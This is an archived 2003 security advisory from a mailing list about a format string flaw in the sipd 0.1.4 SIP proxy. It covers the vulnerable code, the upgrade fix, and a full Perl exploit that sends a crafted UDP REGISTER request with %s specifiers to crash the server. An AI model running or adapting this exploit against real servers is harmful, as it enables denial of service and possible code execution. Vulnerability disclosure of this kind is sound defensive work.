

# [UNIX] sipD Format String Vulnerability

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-12/0043.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 12/14/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 14 Dec 2003 15:39:10 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

sipD Format String Vulnerability

---

## SUMMARY

<<http://www.sxdesign.com/index.php?page=developer&submnu=sipd>> sipd is "a high performance, scalable SIP (Session Initiation Protocol) proxy and location server written in C". A format string vulnerability in the product allows remote attackers to cause the server to execute arbitrary code by providing it with a specially crafted SIP request.

## DETAILS

Vulnerable systems:

- \* sipd version 0.1.4

Immune systems:

- \* sipd version 0.1.5

Vulnerable code:

In strans/strans.c, line:

```
static inline u8_t *strans_hash_key_compat(const msg_t *req, bool_t cancel)
```

The program incorrectly calls `sapi_sprintf` without any parameters:

```
/* Request URI */
```

## Securiteam: [UNIX] sipD Format String Vulnerability

```
tmp = msg_url_str(req->request->url);
sapi_sprintf(&hkey, tmp);
sapi_free(tmp);
```

This means that a URI that includes format strings can cause the remote server to execute arbitrary code due to insufficient formatting being passed to the printf() function.

Solution:

Upgrade to version 0.1.5, which is available at:

<<http://www.sxdesign.com/index.php?page=developer&submnu=sipd>>  
<http://www.sxdesign.com/index.php?page=developer&submnu=sipd>.

Exploit:

```
#!/usr/bin/perl
```

```
# SIPd – SIP Password Format String
# Kills sipd version 0.1.4 and prior
```

```
use IO::Socket;
use strict;
```

```
unless (@ARGV == 2) { die "usage: $0 host your_ip [port]" }
```

```
my $remote_host = shift(@ARGV);
my $your_host = shift(@ARGV);
my $port = shift(@ARGV);
if ($port eq "")
{
    $port = "5060";
}
```

```
my $buf = "REGISTER sip::%s%s%s%s%s%s%s%s%s%s%s%s%s\@$remote_host
SIP/2.0\r\
Via: SIP/2.0/UDP $your_host:3277\r\
From: \"STORM\" <sip:$your_host:3277>\r\
To: <sip:$your_host:3277>\r\
Call-ID: 12312312\@$your_host\r\
CSeq: 1 OPTIONS\r\
Max-Forwards: 70\r\
\r\n";
```

```
my $socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
$@\n";
```

```
my $ipaddr = inet_aton($remote_host) || $remote_host;
my $portaddr = sockaddr_in($port, $ipaddr);
```

```
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send:
$!\n";
```

```
print "Now, '$remote_host' must be dead :)\n";
```

Securiteam: [UNIX] sipD Format String Vulnerability

ADDITIONAL INFORMATION

SecurITeam would like to thank <mailto:storm@securiteam.com> STORM for finding this vulnerability.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.